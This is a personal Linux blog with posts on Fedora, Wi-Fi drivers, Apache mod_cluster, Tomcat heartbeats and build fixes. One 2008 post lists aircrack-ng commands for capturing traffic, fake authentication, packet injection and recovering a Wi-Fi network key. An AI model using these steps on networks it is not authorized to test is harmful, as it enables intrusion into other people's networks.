jfc'log

Tethering with Fedora 14 with iphone

2010-12-23T10:33:00.002+01:00

It looks very easy now:
yum install libimobiledevice (really needed?)
dmesg tells:
+++
[ 3202.355929] ipheth 1-8.4:4.2: Apple iPhone USB Ethernet device attached
[ 3202.355982] usbcore: registered new interface driver ipheth
+++
In network manager I am able to confgure it but not to activate it (may be I have something wrong in my box).

Using dhclient wwan0
gets it working :D

Note that the iphone is running 4.2.1 and my provider is swisscom

mod_cluster 1.0.0.GA release

2009-06-03T10:27:00.004+02:00

mod_cluster brings a dynamic configuration to mod_proxy. In fact mod_cluster is a replacement of mod_proxy_balancer and it uses some of the new features of httpd-trunk like slotmem.
The improvements to mod_proxy/mod_jk are:
- Dynamic configuration of contexts (no more 404 or 400 when an application is been redeployed).
- Load information received from the node of the cluster.
- Asynchronous cping/cpong via a STATUS message from the cluster.
- Minimal configuration.
Paul also blogged on the topic see http://pferraro.wordpress.com/
For more see http://www.jboss.org/mod_cluster/ try it and join the growing community.

Using Tomcat with mod_heartmonitor (part 2)

2009-04-14T17:11:00.004+02:00

This is the second blog on the topic using Tomcat with mod_heartmonitor, here it is using HTTP instead multicast sockets... Well no one like multicast sockets but everyone likes the HTTP protocol no?
In the httpd.conf file add something like the following (to the httpd.conf the previous blog):


<Location /HeartbeatListener>
   SetHandler hearthbeat
   Order deny,allow
   Deny from all
   Allow from 127.0.0.1
   Allow from 10.33.144.4
</Location>

In the server.xml add ProxyList to the HeartbeatListener:


<Listener className="org.apache.catalina.ha.backend.HeartbeatListener" Port="8009" ProxyList="127.0.0.1:7779" />

Have fun!!!

Using Tomcat with mod_heartmonitor

2009-04-09T09:31:00.004+02:00

httpd-trunk contains a logic to receive hearth beats for backend servers.
Associated with mod_proxy_balancer and the heartbeat Load balancing scheduler algorithm you can have a partially dynamic load balancing behaviour.
Configure httpd.conf with something like the following: (using httpd-trunk).


LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_ajp_module modules/mod_proxy_ajp.so
LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
LoadModule heartmonitor_module modules/mod_heartmonitor.so
LoadModule lbmethod_heartbeat_module modules/mod_lbmethod_heartbeat.so
LoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so

ProxyPass /myapp balancer://mycluster/myapp lbmethod=heartbeat
HeartbeatStorage logs/hb.dat
HeartbeatListen 224.0.1.105:23364

<Proxy balancer://mycluster>
   BalancerMember ajp://10.33.144.3:8009 route=jfpc ping=10
   BalancerMember ajp://10.33.144.4:8009 route=neo3 ping=10
</Proxy>

Add the listener in server.xml of each tomcat: (using tc_trunk):


<Listener className="org.apache.catalina.ha.backend.HeartbeatListener" Port="8009"/>

Port is the Port of the AJP Connector where httpd is going to proxy the requests.

Start httpd and the Tomcats and have fun with the "dynamic" cluster.

Busy week

2009-02-20T15:16:00.003+01:00

After a long time without blogging I have decided to include work activities in my blog.
So this week has been a very busy one a mod_cluster release and a JBossWEB release.
I have also followed a first Aid with CPR and the ApacheCon Europe 2009 planner activities are also taking a part of my time.
I will speak at the ApacheCon Europe 2009 too.

fedora9 x86_64 with nvidia and centrino (d620)

2008-05-25T10:37:00.013+02:00

In fact I am trying to move from F8-386 to F9-x86_64.

Upgrading:

- Via upgrade installation... It doesn't work (F8 i386 packages are not replaced)
- Via install if you use the custom partitioning and don't change the partition
layout and don't format you will keep your data but the F8 i386 packages are conflicting.
- Remove the conflicting packages (via rescue installed system).
rpm --root /mnt/sysimage/ -qa | grep i386 | xargs rpm --root /mnt/sysimage/ --nodeps --erase
rpm --root /mnt/sysimage/ -qa | grep fc8 | xargs rpm --root /mnt/sysimage/ --nodeps --erase
avahi (fc7.i386) has a broken postun scriptlet use --nopostun for it.
- Redo the install as previous.
- yum update (to use a 2.6.25.3-18 kernel).

Fixing remaining problems

- Remaining problems (now investigating with a 4 Gbytes USB key as F9 disk)...

Dual screen doesn't work (solution: Use nvidia 173.14.05)

- default looks ok. But no dual screen.
- xorg-drv-nouveau: Give a bad resolution and strange (green colors) when randr12 on.
- nvidia: Doesn't work (X doesn't start, not the right ABI from http://www.nvidia.com/object/linux_display_amd64_173.08.html).
- nouveau from git (080525): See http://nouveau.freedesktop.org/wiki/InstallNouveau:
use the Fedora location (drm and xf86-video-nouveau).: ./configure --prefix=/usr --libdir=/usr/lib64).
restore the libglx.so if you tried nvidia before (yum reinstall xorg-x11-server-Xorg)
- nvidia try 2: It works with
http://www.nvidia.com/object/linux_display_amd64_173.14.05.html

wifi (centrino) doesn't work (solution: use intel firmware 2.14.1.5 and stop NetworkeManager)

- default doesn't work (well not well enough to use it).
- remove the firmwares that are installed and doesn't correspond to the 3945 board.
yum erase ipw2100-firmware
yum erase ipw2200-firmware
yum erase iwl4965-firmware
normally something like the following should be done:
yum search 3945
yum install iwl3945-firmware
But in fact that doesn't help because the iwl3945 the driver complains (Do dmesg | grep iw) the firmware seems to be the same version (2.14.1.5-2?) than the F8 and I am using driver iwl3945 too. After retest it seems that it also doesn't work now on F8.
It is working using 2.14.1.5 firmware from http://intellinuxwireless.org/?p=iwlwifi&n=downloads
on both Fedora versions in /lib/firmware/iwlwifi-3945-1.ucode)
It seems that stopping the NetworkManager service helps (even with 2.14.1.5-2).

PC speaker makes loud beeps:

In /etc/modprobe.d/blacklist add:


install pcspkr /bin/true

wifi security :-(

2008-02-24T19:26:00.002+01:00

cracking....
Using http://aircrack-ng.org/doku.php?id=ipw3945
(it uses ipwraw-ng http://homepages.tu-darmstadt.de/~p_larbig/wlan/)

cd /home/jfclere/modem/wifi/ipwraw-ng
make
make install
make install_ucode

Remove old driver:
+++
[root@jfcpc ipwraw-ng]# /sbin/lsmod | grep 39
ipw3945 181024 0
ieee80211 30985 1 ipw3945
[root@jfcpc ipwraw-ng]# /sbin/rmmod ipw3945
[root@jfcpc ipwraw-ng]# /etc/rc.d/init.d/ipw3945d stop
Stopping ipw3945d: [ OK ]
+++
Load the new one:
+++
[root@jfcpc ipwraw-ng]# /sbin/modprobe ipwraw
+++
start it up:
+++
[root@jfcpc ipwraw-ng]# /sbin/ifconfig wifi0 up
[root@jfcpc ipwraw-ng]# /sbin/iwconfig wifi0 rate 1M
+++
set the right channel for example:
+++
[root@jfcpc ipwraw-ng]# /sbin/iwconfig wifi0 chan 1
+++

/sbin/iwconfig wifi0 works with it.
/sbin/iwconfig wifi0 rate 1M

kismet too.
edit /etc/kismet/kismet.conf add something:
source=ipw3945,wifi0,wifi0

start capture (to get the file.cap):
/usr/sbin/airodump-ng -c 11 --bssid 00:C0:49:F1:XX:XX -w XXXX rtap0

use test to check it will work:
/usr/sbin/aireplay-ng -9 wifi0 -b 00:C0:49:F1:XX:XX

use fakeauth (-1) to check the AP likes us:
/usr/sbin/aireplay-ng -1 0 -e XXXX -a 00:C0:49:F1:XX:XX -h
00:19:D2:AE:3B:9D wifi0

use -3 of aireplay-ng to inject (it takes times to get APR packets).
/usr/sbin/aireplay-ng -3 -b 00:C0:49:F1:XX:XX -h 00:19:D2:AE:3B:9D wifi0

the lastest step is:
aircrack-ptw file.cap
If it doesn't work try the slower:
aircrack-ng file.cap

2007-11-30T20:24:00.000+01:00

arranging broken F8. (after hardware disk problems):
- Boot DVD (rescue system).
- Don't mount the disk once the shell is started.
- Check the lvm (LVM): lvm vgck
- Create the /dev/mapper specials: lvm vgchange -a y
- check the disk and force the correction: fsck /dev/mapper/VolGroup00-LogVol00 -f -y -c -c

Upgrading from F6 to F7 on Dell Latitude D620

2007-06-24T16:43:00.000+02:00

I have booted from the DVD and choose upgrade system after a long while
the install process asks for reboot...
But the box doesn't boot. It hangs here:
+++
TCP established hash table entries: 131072 (order: 8, 1572864 bytes)
TCP bind hash table entries: 65536 (order: 7, 524288 bytes)
TCP: Hash tables configured (established 131072 bind 65536)
+++

I have rebooted from the DVD and choose recovery boot.
Once booted I have copied the kernel/initrd/System.map and /lib/modules
of another machine (2.6.21-1.3228.fc7) to the box edit the
boot/grub/menu.lst add a new entry for the copied kernel and rebooted.

The reboot doesn't have X running so I accepted the reconfiguration and
got X running (800x600 instead my expected 1440*900). From there I
upgraded to the last version (using the Package Updater). Reboot and the
expected resolution is now working (I have not yet tested the dual
head). The improvement is that I don't need the ndivia driver.

Trying Suspend the machine suspends but never comes up (that was working
in Fedora6) ;-(
Trying Hibernate the machine stops correctly and comes up with problems.
(that wasn't working with fedora6).

Network ethernet and wifi are working like in Fedora6.

Strange thing the Package Updater wants to upgrade to
kernel-2.6.21-1.3228.fc7 even I have already done that.

In the Application menu I have a .hidden entry that contains k3b entries
(2).

Evolution hangs like in Fedora6 (I am using imap) but hangs also the box
(by eating all the memory).

Wifi on Latitude D810 (Intel 2200BG)

2006-10-05T10:17:00.000+02:00

On RHEL4 (and Fedora) only the firmware needs to be updated:
To check you have the right board do /sbin/lspci the output should contain the following entry:
03:03.0 Network controller: Intel Corporation PRO/Wireless 2200BG Network Connection (rev 05)

Get the firmware from http://ipw2200.sourceforge.net/firmware.php?fid=6
extract it in /lib/firmware
(cd /lib/firmware
sudo tar zxvf /media/usbdisk/ipw2200-fw-2.4.tgz
)
For example.
Reboot the machine the new firmware will be in use. Configure it using System Settings + Network.

If it does not work check dmesg for:
+++
ipw2200: Detected Intel PRO/Wireless 2200BG Network Connection
divert: allocating divert_blk for eth1
ipw2200: Radio Frequency Kill Switch is On:
Kill switch must be turned off for wireless networking to work.
divert: freeing divert_blk for eth1
+++
Do /sbin/rmmod ipw2200 and press (blue key Fn and normal F2 where there is a logo like an antena).
Do /sbin/modprobe ipw2200 check again:
+++
ipw2200: Intel(R) PRO/Wireless 2200/2915 Network Driver, git-1.0.10
ipw2200: Copyright(c) 2003-2005 Intel Corporation
ACPI: PCI interrupt 0000:03:03.0[A] -> GSI 17 (level, low) -> IRQ 177
ipw2200: Detected Intel PRO/Wireless 2200BG Network Connection
divert: allocating divert_blk for eth1
+++

note: @myhome the wifi id is: ATMEL and the mac: 00:16:6F:60:AE:67

snoopying usb for 3342

2006-08-27T13:20:00.000+02:00

Trying to get my netopia 3342 working on linux.
- install vmware + windoze + modem (manualy).
- vmware use /dev/usb
- echo 1 > /sys/module/usbcore/parameters/usbfs_snoop
Get a trace like:
+++
Aug 27 13:05:03 wexpert last message repeated 3 times
Aug 27 13:05:03 wexpert kernel: usb 3-1: usbdev_ioctl: SUBMITURB
Aug 27 13:05:03 wexpert kernel: usb 3-1: usbdev_ioctl: SUBMITURB
Aug 27 13:05:03 wexpert kernel: usb 3-1: usbdev_ioctl: REAPURBDELAY
Aug 27 13:05:03 wexpert last message repeated 3 times
Aug 27 13:05:03 wexpert kernel: usb 3-1: usbdev_ioctl: SUBMITURB
Aug 27 13:05:03 wexpert kernel: usb 3-1: usbdev_ioctl: SUBMITURB
Aug 27 13:05:03 wexpert kernel: usb 3-1: usbdev_ioctl: REAPURBDELAY
Aug 27 13:05:03 wexpert last message repeated 3 times
+++
Not very helpfull...
But printk() at the right places will quicky.

Blu-win Netopia 3342/3352

2006-05-30T23:03:00.000+02:00

I have recently moved in Switzerland and of the course the USB (A)DSL
modem I get is not supported on Linux.
After some investigations the ID 100d:3342 should be compatible with
"Conexant AccessRunner USB modem".
But this Conexant stuff works 2 differents ways depending on the firmware.
Unlucky me the existing Linux driver is not for the way SWISSCOM uses the modem.
After more investatigations the only thing that have a chance to work is a driver from Olitec. After downloading it from http://www.olitec.com/pub/USBADSLV151-1008fr.tar.gz.
It appairs completly outdated and does not compile with my 2.6.13 vanilla kernel.

How to go on:
1 - USB analyser + trace analysis.
2 - Fix the driver and hope it works after that.

Build and testing harmony jchevm JVM

2006-02-26T11:40:00.000+01:00

To build it on debian:
1 - Install classpath, autoconf, automake, libtool libpopt, libz and
Classpath.
2 - Run autogen.sh --with-classpath=/usr
3 - configure
4 - make
To test it write a small java program and start it using the JVM:
+++
jfclere@jfcexpert:~/harmony/enhanced/jchevm$ jc/jc toto
java.lang.NoClassDefFoundError: org.dellroad.jc.vm.DebugThread
at java.lang.VMThrowable.fillInStackTrace(Native Method)
at java.lang.Throwable.fillInStackTrace(Throwable.java:498)
at java.lang.Throwable.<init>(Throwable.java:159)
at java.lang.Error.<init>(Error.java:81)
at java.lang.LinkageError.<init>(LinkageError.java:72)
at
java.lang.NoClassDefFoundError.<init>(NoClassDefFoundError.java:74)
jc: failed to create VM
+++
Do the following (toto.class is a small java program):
+++
jc/jc -b /usr/share/classpath/glibj.zip:./java/jc.zip toto
+++

Build harmony on linux 386

2005-12-03T18:16:00.000+01:00

ant
+++
BUILD FAILED
/home/jfclere/harmony/enhanced/trunk/sandbox/contribs/ibm_core/build.xml:41: The following error occurred while executing this line:
/home/jfclere/harmony/enhanced/trunk/sandbox/contribs/ibm_core/native-src/build.xml:97: exec returned: 2

Total time: 31 seconds
+++
Look in ./native-src/linux.IA32/build.log
+++
X86 -DHYPORT_LIBRARY_DEFINE -I../include -c -o hyvmem.o hyvmem.c
hyvmem.c: In function `hyvmem_reserve_memory': hyvmem.c:311: `SHM_HUGETLB' undeclared (first use in this function)
hyvmem.c:311: (Each undeclared identifier is reported only once hyvmem.c:311: for each function it appears in.)
make[1]: Leaving directory `/home/jfclere/harmony/enhanced/trunk/sandbox/contribs/ibm_core/native-src/linux.IA32/port'
make[1]: *** [hyvmem.o] Error 1 make: *** [_port] Error 2
+++
Oops my system does not support SHM_HUGETLB (libc is too old!).

To fix use the patch:
+++
Index: native-src/linux.IA32/port/hyvmem.c
===================================================================
--- native-src/linux.IA32/port/hyvmem.c (revision 351912)
+++ native-src/linux.IA32/port/hyvmem.c (working copy)
@@ -35,6 +35,10 @@
#include
#include

+#if !defined(SHM_HUGETLB)
+#define SHM_HUGETLB 04000 /* segment will use huge TLB pages */
+#endif
+
#if !defined(MAP_FAILED)
#define MAP_FAILED -1
#endif
+++

remastering knoppix 3.9

2005-08-09T20:29:00.000+02:00

You will need cloop I have used
http://developer.linuxtag.net/knoppix/sources/cloop_2.01-5.tar.gz.
To build it on linux 2.6.x arrange the Makefile, comment out:
+++
include $(KERNEL_DIR)/conf.vars
+++
and add -O2 to CKERNOPS

In advancecomp-1.9_create_compressed_fs/advfs.cc comment out:
+++
#include <netinet/in.h>
+++

compressed_loop.c needs the following patch:
++++++++++++++
--- compressed_loop.c.org 2005-08-09 18:23:27.000000000 +0200
+++ compressed_loop.c 2005-08-09 18:24:44.000000000 +0200
@@ -202,7 +202,7 @@
unsigned long offset, unsigned long size)
{
char *kaddr;
- struct clo_read_data *p = (struct clo_read_data*)desc->buf;
+ struct clo_read_data *p = (struct clo_read_data*)desc->arg.buf;
unsigned long count = desc->count;
if (size > count) size = count;
kaddr = kmap(page);
@@ -228,7 +228,7 @@
read_descriptor_t desc;
desc.written = 0;
desc.count = size;
- desc.buf = (char*)&cd;
+ desc.arg.buf = (char*)&cd;
desc.error = 0;
#ifdef REDHAT_KERNEL /* Greenshoe Linux */
do_generic_file_read(f, &pos, &desc, clo_read_actor, 0);
++++++++

Build it:
+++
make KERNEL_DIR=/home/jfclere/KERNEL/linux-2.6.10
+++

Insert it in system:
+++
/sbin/modprobe zlib_inflate
/sbin/modprobe zlib_deflate
/sbin/insmod cloop.o file=/home/jfclere/tmp/knx/master/KNOPPIX/KNOPPIX
+++
Mount it:
+++
mount -r -t iso9660 /dev/cloop /mnt/test2
+++

Copy the KNOPPIX/KNOPPIX contents (from the
KNOPPIX_V3.9-2005-05-27-EN.iso) in one directory. (for example use cp
-Rp /mnt/test2/* KNOPPIX). That takes a while ;-)
Arrange the files (remove and add) in the directory and rebuild the
compressed file system with mkisofs for example:
+++
mkisofs -R -U -V "KNOPPIX.net filesystem" -publisher "KNOPPIX
www.knoppix.net" -hide-rr-moved -cache-inodes -no-bak -pad /home/jfclere/tmp/KNOPPIX | nice -5 /home/jfclere/tmp/cloop-2.01/create_compressed_fs - 65536 >
/home/jfclere/tmp/KNOPPIX/KNOPPIX
+++

Copy the KNOPPIX from the orignal iso image and replace the file
KNOPPIX/KNOPPIX by the new one (/home/jfclere/tmp/KNOPPIX/KNOPPIX here).

Build the iso image:
+++
(cd /home/jfclere/tmp/knx/master
mkisofs -pad -l -r -J -v -V "KNOPPIX" -no-emul-boot -boot-load-size 4 -boot-info-table -b boot/isolinux/isolinux.bin -c boot/isolinux/boot.cat -hide-rr-moved -o /home/jfclere/jfc.iso /home/jfclere/tmp/knx/master
)
+++

booting lunix on "strange" machines (using one floppy)

2005-08-01T23:53:00.000+02:00

Boot knoppix (on a machine with a bootable CD drive).
In a console format and create the boot floppy using the following commands:
mkfs.ext2 /dev/fd0
fsck -f -t ext2 /dev/fd0
mkboot -d /dev/fd0
That doesn't work.... Too big!!!

Build a kernel small by removing and configuring most drivers as modules.
+++
ls -lt ./arch/i386/boot/bzImage
-rw-r--r-- 1 jfclere users 835540 2005-08-01 22:40
./arch/i386/boot/bzImag
+++

Do the job:
mkfs.ext2 /dev/fd0
fsck -f -t ext2 /dev/fd0
mount /dev/fd0 /mnt/test1
mkdir -p /mnt/test1/boot/grub
cp /home/jfclere/KERNEL/linux-2.6.10/arch/i386/boot/bzImage /mnt/test1
cp /home/jfclere/tmp/initrd /mnt/test1
cp /boot/grub/menu.lst /mnt/test/boot/grub
cp /boot/grub/stage1 /mnt/test/boot/grub
cp /boot/grub/stage2 /mnt/test/boot/grub

menu.lst contains:
+++
color white/blue black/light-gray
timeout 8

title linuxtest
kernel (fd0)/bzImage root=/dev/hda1 vga=791
initrd (fd0)/initrd
title floppy
root (fd0)
chainloader +1
+++

hostap with Siemens I-GATE 11M PCI

2005-07-06T00:08:00.000+02:00

that is a PrismII based PCMCIA card in the PLX9052 *PCI*-PCMCIA adapter.
follow the README of the hostap driver:
make
make install (as root)
remove the orinoco modules:
ifconfig eth1 down
rmmod orinoco_plx
rmmod orinoco
try the new one:
modprobe hostap_plx
check it:
ifconfig -a
+++
wifi0 Link encap:UNSPEC HWaddr 00-90-D1-00-76-4E-00-00-00-00-00-00-00-00-00-00
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:11 Base address:0x3000

wlan0 Link encap:Ethernet HWaddr 00:90:D1:00:76:4E
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:11 Base address:0x3000
+++
configure it as below:
+++
ifconfig wlan0 inet 10.170.254.37
ifconfig wlan0 netmask 255.255.255.0
ifconfig wlan0 broadcast 10.170.254.255

iwconfig wlan0 essid ATMEL
iwconfig wlan0 channel 1
iwconfig wlan0 mode managed
+++
ping wexpert doesn't work, why?

kismet

2005-07-04T23:55:00.000+02:00

Building:
It needs ncurses: http://ftp.gnu.org/pub/gnu/ncurses
(http://ftp.gnu.org/pub/gnu/ncurses/ncurses-5.4.tar.gz)
Then everything easy
./configure
make
sudo make install (well I build a rpm with ncurses staticly linked to
kismet.
Using it:
My Siemens I-GATE 11M PCI uses the orinoco driver (that is a original
kernel for www.kernel.org) of course that doesn't work.
But the card is PrismII based PCMCIA card. So hostap should help.
(http://hostap.epitest.fi/)

boinc with http-proxy

2005-06-24T18:10:00.000+02:00

First:
boinc_client -attach_project
It will failed.
Second:
Edit the file client_state.xml, add something like the following:
+++
<proxy_info>
<use_http_proxy/>
<http_server_name>wexpert</http_server_name>
<http_server_port>8888</http_server_port>
</proxy_info>
+++
Thrid:
boinc_client -attach_project
That should work.

boinc

2005-06-24T10:45:00.000+02:00

First after download:
+++
jfclere@jfcexpert:~/BOINC> boincmgr
boincmgr: /lib/libpthread.so.0: version `GLIBC_2.3.2' not found (required by boincmgr)
+++
Now try to compile it...
+++
configure --disable-server
make
make install
boinc_client -help
boinc_client -attach
+++
Here next problem, where is the mail that contains the "account key"... Deleted already ;-(
Not a big problem grep "Account Key" in /.mozilla/jfclere/4dcgmgr3.slt/Mail/pop3.sinix.net/*
+++
AAAA-private: Account Key: _32_hex_char_string_
+++
Now the key is saved and boinc is running.